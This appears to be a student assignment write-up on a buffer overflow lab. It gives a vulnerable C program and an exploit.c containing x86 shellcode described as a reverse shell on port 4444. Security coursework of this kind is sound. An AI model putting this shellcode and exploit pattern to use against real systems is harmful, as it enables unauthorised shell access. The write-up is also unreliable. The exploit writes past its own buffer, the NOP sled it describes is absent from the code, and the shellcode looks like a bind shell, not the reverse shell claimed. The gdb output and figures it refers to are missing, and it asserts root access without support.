You are on page 1of 9

## Assignment – Buffer Overflow

In this assignment, we will attempt to perform a stack smash attack on


the vuln.c program provided in the assignment using a C program named
exploit.c.

A stack smash attack is a type of buffer overflow attack where the


attacker exploits a buffer overflow vulnerability in a program to gain
unauthorized access or to execute arbitrary code on the system.

Understanding the vuln.c Program


/vuln.c
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv) {
// Make some stack information
char a[100], b[100], c[100], d[100];
// Call the exploitable function
exploitable(argv[1]);
// Return: everything is OK
return(0);
}
int exploitable(char *arg) {
// Make some stack space
char buffer[10];
// Now copy the buffer
strcpy(buffer, arg);
printf("The buffer says .. [%s/%p].\n", buffer, &buffer);
// Return: everything fun
return(0);
}

The vuln.c program is a simple C program that creates some stack


information and calls a function named exploitable() with an argument
passed from the command line. The exploitable() function then creates
some stack space and copies the argument passed to it using the strcpy()
function, which has no bounds checking.

This is a classic buffer overflow vulnerability, as the strcpy() function


blindly copies the argument passed to it into the buffer array, potentially
overwriting other parts of the stack, including the return address.

To perform a stack smashing attack on the vuln.c program and create a


reverse shell on a Linux machine showing all steps below:

Step 1: Compile the vuln.c program


We need to compile the vuln.c program first, which we will be attacking.

The -fno-stack-protector flag disables stack protection mechanisms that


prevent buffer overflows, while the -m32 flag ensures that the code is
compiled for a 32-bit system.

Step 2: Find the memory layout of vuln


We need to understand the memory layout of the vuln program to
perform a successful attack. We can do this by running the gdb debugger
on the vuln program and printing the stack layout.
In the above output, we can see that the value of $ebp is 0xbffff3a8,
which is the base pointer for the stack frame of the main function.

The top of the stack is pointed to by the $esp register, which is


0xbffff3a0. We can see that the buffer a is located at 0xbffff3c0, and the
return address is located at 0xbffff3ac.

And here are the all functions of target files


Step 3: Craft the exploit
We can now craft our exploit program, exploit.c, to take advantage of
the buffer overflow vulnerability in vuln.c.

Our goal is to create a C program named exploit.c that will exploit the
buffer overflow vulnerability in vuln.c and open up a reverse shell on the
attacked program as root.

To achieve this, we will create a payload that consists of shellcode


followed by some padding and then the address of the shellcode on the
stack. The shellcode will be responsible for opening up a reverse shell
on the attacked program, and the padding is necessary to fill up the
buffer and overwrite the return address on the stack.

In order to make our chances higher in hitting our shellcodes, we pad at


the beginning of the stack with NOP (executable no-operation
instruction-\x90 for x86). Though guess work might still be required, the
return address must not be as precise anymore; it is enough to hit the
NOPs area. Now our stack layout should be something like the
following:

Figure: Spawning a root shell exploit - stack's content


arrangement with NOPs and shellcodes.
Other Intel x86 instructions that can be used to replace NOPs (because
NOPs are easily detected by Intrusion Detection System – IDS) can be
found at the following links:NOP equivalent instructions or you can
check the processor’s instruction set documentation. Next, let verify the
return address of our program by running it in gdb with some sample
input/argument as constructed previously.

//Exploit.c

#include <stdio.h>

#include <string.h>

#include <stdlib.h>

#include <unistd.h>

#define OFFSET 112 // distance from start of buffer to return address

char shellcode[] =

"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x51\x6a\x06\x6a\x01\x89\xe
1\xcd\x80\x89\xc6\xb0\x66\xb3\x02\x52\x66\x68"

"\x11\x5c" // port number (4444) in hex

"\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x6a\x0
1\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x05\x52\x52"

"\x56\x89\xe1\xcd\x80\x89\xc3\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\xb
0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"

"\x6e\x89\xe3\x52\x53\xeb\xce"; // "/bin/sh" shellcode

void exploit() {

char buffer[OFFSET];

memset(buffer, 'A', OFFSET); // fill buffer with "A"s


memcpy(buffer + OFFSET, shellcode, sizeof(shellcode)); // append shellcode

*(unsigned int *)(buffer + OFFSET + 200) = 0xbfffd5b8; // overwrite return


address

// 0xbfffd5b8 is the address of the start of the buffer on the stack

// adjust this value as necessary based on the output of the vuln program

printf("Exploit payload created.\n");

execl("./vuln", "vuln", buffer, NULL); // execute the vuln program with payload
as argument

int main(int argc, char *argv[]) {

printf("Preparing to exploit vuln...\n");

exploit();

return 0;

In this program, we define the OFFSET value as the distance from the
start of the buffer to the return address on the stack. We also define a
shellcode variable containing the machine code for a reverse shell
payload that will attempt to connect to our attacker machine on port
4444.

The exploit function creates a buffer filled with "A"s and appends our
shellcode to the end. It then overwrites the return address on the stack
with the address of the start of the buffer, which will cause the program
to jump to our shellcode when the exploitable function returns.
Finally, in the main function, we call exploit to create the payload and
execute the vuln program with the payload as an argument.

To carry out the attack, we first compile vuln.c with gcc -o vuln vuln.c
and then run it with a long string of "A"s as the argument

Final Step
we can use the exploit program with setarch i686 for gain access

Well, we got root in the first try. We passed the input strings to our
program through the command line first argument. Then in the program,
the exploitable function copied the input into the stack’s buffer without
verifying the size, overwriting the return address nicely with an address
that pointing back to the stack area. When the program finished, instead
of returning back to system/OS, it return to the stack area, start
executing the NOPs and proceeded to our shellcode that spawned a root
shell. Our final stack layout that has been over flown should be looked
something like the following:

You might also like